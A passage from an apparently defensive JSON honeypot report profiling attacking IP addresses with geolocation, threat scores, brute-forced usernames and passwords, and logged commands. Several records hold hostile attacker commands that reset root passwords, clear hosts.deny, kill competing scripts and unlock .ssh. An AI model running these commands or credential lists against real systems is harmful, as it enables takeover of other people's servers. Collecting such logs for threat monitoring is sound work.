      "first_seen": "2026-04-17T23:07:43.268Z",
      "last_seen": "2026-04-17T23:08:14.047Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:07:43.268000+00:00",
        "last_seen_30d": "2026-04-17T23:09:22.918000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "220.88.178.58": {
      "attack_count": 2,
      "first_seen": "2026-04-09T05:16:08.956Z",
      "last_seen": "2026-04-09T05:16:21.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Paju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T05:16:08.956000+00:00",
        "last_seen_30d": "2026-04-09T05:17:26.664000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.181.27.61": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:39:57.871Z",
      "last_seen": "2026-04-30T08:40:11.335Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:39:57.871000+00:00",
        "last_seen_30d": "2026-04-30T08:41:12.101000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.126.136.33": {
      "attack_count": 2,
      "first_seen": "2026-04-08T18:48:01.750Z",
      "last_seen": "2026-04-08T18:50:01.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Cirencester",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T18:48:01.750000+00:00",
        "last_seen_30d": "2026-04-08T19:01:01.239000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.110": {
      "attack_count": 2,
      "first_seen": "2026-04-04T15:35:08.504Z",
      "last_seen": "2026-04-04T15:35:13.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T15:35:08.504000+00:00",
        "last_seen_30d": "2026-04-04T15:36:15.595000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.189.108.138": {
      "attack_count": 2,
      "first_seen": "2026-04-04T09:09:43.622Z",
      "last_seen": "2026-04-04T09:09:57.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Surquillo",
      "asn": 269843,
      "as_org": "BANTEL SAC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:09:43.622000+00:00",
        "last_seen_30d": "2026-04-04T09:11:01.629000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.67.219.27": {
      "attack_count": 2,
      "first_seen": "2026-04-30T04:11:54.339Z",
      "last_seen": "2026-04-30T04:12:25.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63473,
      "as_org": "HostHatch, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:11:54.339000+00:00",
        "last_seen_30d": "2026-04-30T04:13:29.252000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.183.140.6": {
      "attack_count": 2,
      "first_seen": "2026-04-15T10:26:17.435Z",
      "last_seen": "2026-04-15T10:26:31.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T10:26:17.435000+00:00",
        "last_seen_30d": "2026-04-15T10:27:35.220000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "71.6.237.47": {
      "attack_count": 2,
      "first_seen": "2026-04-19T01:28:14.413Z",
      "last_seen": "2026-04-19T01:28:14.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T01:26:27.491000+00:00",
        "last_seen_30d": "2026-04-19T01:29:27.630000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 39,
        "Cowrie": 2
      }
    },
    "83.80.184.67": {
      "attack_count": 2,
      "first_seen": "2026-04-20T02:17:46.065Z",
      "last_seen": "2026-04-20T02:17:58.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Best",
      "asn": 33915,
      "as_org": "Vodafone Libertel B.V.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T02:17:46.065000+00:00",
        "last_seen_30d": "2026-04-20T02:19:07.177000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.76.241.120": {
      "attack_count": 2,
      "first_seen": "2026-04-29T14:04:30.087Z",
      "last_seen": "2026-04-29T14:04:33.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kramatorsk",
      "asn": 9205,
      "as_org": "SATELIT SERVIS Ltd",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:04:30.087000+00:00",
        "last_seen_30d": "2026-04-29T14:05:39.786000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.151.189.60": {
      "attack_count": 2,
      "first_seen": "2026-04-22T20:31:29.825Z",
      "last_seen": "2026-04-22T20:31:43.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Cheboksary",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T20:31:29.825000+00:00",
        "last_seen_30d": "2026-04-22T20:32:49.769000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.106.61.150": {
      "attack_count": 2,
      "first_seen": "2026-04-16T14:26:02.036Z",
      "last_seen": "2026-04-16T14:26:14.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 210402,
      "as_org": "Hala Al Rafidain Company for Communications and Internet LTD.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T14:26:02.036000+00:00",
        "last_seen_30d": "2026-04-16T14:27:16.342000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.232": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:35:13.846Z",
      "last_seen": "2026-04-11T12:35:13.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 30,
        "ports_targeted_30d": 65,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:56:09.788000+00:00",
        "last_seen_30d": "2026-04-30T19:20:42.954000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142,
        "Honeytrap": 48,
        "Cowrie": 2
      }
    },
    "92.177.102.214": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:13:42.481Z",
      "last_seen": "2026-04-30T19:13:54.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:13:42.481000+00:00",
        "last_seen_30d": "2026-04-30T19:14:56.584000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.10.176.72": {
      "attack_count": 4808,
      "first_seen": "2026-04-05T03:25:20.927Z",
      "last_seen": "2026-04-15T04:34:47.948Z",
      "sessions": 919,
      "ports": [],
      "usernames_attempted": [
        "root",
        "emo",
        "systems",
        "breeze",
        "admin",
        "adminpbx",
        "itsent",
        "netdoor",
        "pbxcontroller",
        "pbxsystem",
        "centos",
        "chsoft",
        "sjsj",
        "wonny"
      ],
      "passwords_attempted": [
        "callpass00!@",
        "Admin@123",
        "Itsemoemo2025@Washere2025",
        "7vwy5v9A?#u~ev%@Vmq9",
        "Issabel",
        "Itsemoemo2025@Fuck@allPBX",
        "ItsemoemoWashere2023support",
        "K61719ab",
        "P@$$w0rdroot",
        "SangomaDefaultPassword",
        "ph0n3v0xn0v43r4",
        "sangoma",
        "wstar7725",
        "ABC@xmenx1690",
        "Dim@056359uheif",
        "HLZ8RVFu",
        "fix1400@",
        "pbx@01011",
        "pollack1209",
        "s0luc10n3s"
      ],
      "commands_executed": [
        "uname -a",
        "echo login_success",
        "hostname",
        "netstat -tulpn | head -10"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.fingerprint"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Siheung-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6817,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T03:23:25+00:00",
        "last_seen_30d": "2026-04-15T04:35:55.648000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4682,
        "Suricata": 2134,
        "Honeytrap": 1
      }
    },
    "92.118.39.56": {
      "attack_count": 754,
      "first_seen": "2026-04-02T15:43:32.530Z",
      "last_seen": "2026-04-17T07:12:06.933Z",
      "sessions": 152,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "sol",
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1140,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:37:34.907000+00:00",
        "last_seen_30d": "2026-04-17T07:13:11.223000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 754,
        "Suricata": 386
      }
    },
    "165.154.231.129": {
      "attack_count": 498,
      "first_seen": "2026-04-01T22:39:17.507Z",
      "last_seen": "2026-04-06T20:48:19.724Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ubuntu",
        "ali",
        "amule",
        "bot",
        "carlos",
        "dev",
        "ftpuser",
        "postgres",
        "server",
        "tester",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx!@#",
        "110120259",
        "1qa2ws3ed",
        "3edc4rfv.",
        "A123123A",
        "AAzz123",
        "Adm1n12345",
        "Admin101",
        "Admin@000",
        "Ali04!",
        "Bot18",
        "Ftpuser07",
        "Password77",
        "QWER2024!",
        "Qazwsx111111@",
        "Root01!@",
        "Start2024",
        "User14"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pass\\nwRLiEx2lH8Wm\\nwRLiEx2lH8Wm\\n\"|passwd",
        "echo \"root:Lvk8WrlTa531\"|chpasswd|bash",
        "echo \"root:PeELyCgTO4i3\"|chpasswd|bash",
        "echo \"root:vdBJsaUKYi7C\"|chpasswd|bash",
        "echo -e \"pass\\nwRLiEx2lH8Wm\\nwRLiEx2lH8Wm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 624,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T22:39:17.507000+00:00",
        "last_seen_30d": "2026-04-06T20:49:23.595000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 126
      }
    },
    "43.160.233.150": {
      "attack_count": 455,
      "first_seen": "2026-04-17T07:21:22.100Z",
      "last_seen": "2026-04-20T12:48:08.013Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "claude",
        "odoo",
        "test",
        "testuser",
        "ubuntu",
        "admin",
        "azureuser",
        "dev",
        "dmdba",
        "ftpuser",
        "juan",
        "me",
        "omm",
        "postgres",
        "sg",
        "steam",
        "testuser01"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1qaz@WSX",
        "010203",
        "11223344",
        "12345678",
        "1q2w3e",
        "1q2w3e4r",
        "@2025",
        "A123456789b",
        "Ab123456",
        "Ab123456@",
        "Abcd12345@123",
        "Ali02!",
        "Claude30",
        "Cq123456",
        "P@ss2025",
        "P@ssw0rd2!",
        "Qazwsx123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1q2w3e\\n2GY3Prxp7ETI\\n2GY3Prxp7ETI\\n\"|passwd",
        "echo \"root:64jl5WtoXzCF\"|chpasswd|bash",
        "echo \"root:r3lbBtOWBjgy\"|chpasswd|bash",
        "echo -e \"1q2w3e\\n2GY3Prxp7ETI\\n2GY3Prxp7ETI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 582,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T07:21:22.100000+00:00",
        "last_seen_30d": "2026-04-20T12:49:10.262000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 455,
        "Suricata": 127
      }
    },
    "80.94.92.168": {
      "attack_count": 444,
      "first_seen": "2026-04-01T00:57:34.618Z",
      "last_seen": "2026-04-30T18:33:10.100Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [
        "solana"
      ],
      "passwords_attempted": [
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 66.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.3,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 858,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:51:46.893000+00:00",
        "last_seen_30d": "2026-04-30T18:34:12.897000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 414
      }
    },
    "40.121.200.75": {
      "attack_count": 440,
      "first_seen": "2026-04-01T06:08:45.059Z",
      "last_seen": "2026-04-24T22:56:28.974Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "postgres",
        "denis",
        "sammy",
        "steam",
        "steam1",
        "test",
        "tester",
        "ubuntu",
        "user1",
        "user53",
        "zqliu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567890",
        "1234qwer1234",
        "123qaz12",
        "A1234567891011121314151617181920",
        "AA@123123",
        "Aa112211.",
        "Abcd1#$",
        "Asd@123",
        "China@123",
        "DDbb123",
        "Hw123456!",
        "Letmein1",
        "Pa$$W0rd",
        "Postgres2026!@#",
        "Qaz123wsx!@#",
        "Qaz1wsx2",
        "Qq1234",
        "Qwe123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bot18\\nwpRWkqhc7fFJ\\nwpRWkqhc7fFJ\\n\"|passwd",
        "echo \"root:PDDZZ6zpnLl9\"|chpasswd|bash",
        "echo \"root:c4do57gtpAqK\"|chpasswd|bash",
        "echo -e \"bot18\\nwpRWkqhc7fFJ\\nwpRWkqhc7fFJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 563,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:08:45.059000+00:00",
        "last_seen_30d": "2026-04-24T22:57:37.733000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 123
      }
    },
    "5.182.83.231": {
      "attack_count": 435,
      "first_seen": "2026-04-28T21:12:40.589Z",
      "last_seen": "2026-04-30T20:21:09.095Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "user",
        "admin",
        "administrator",
        "345gs5662d34",
        "git",
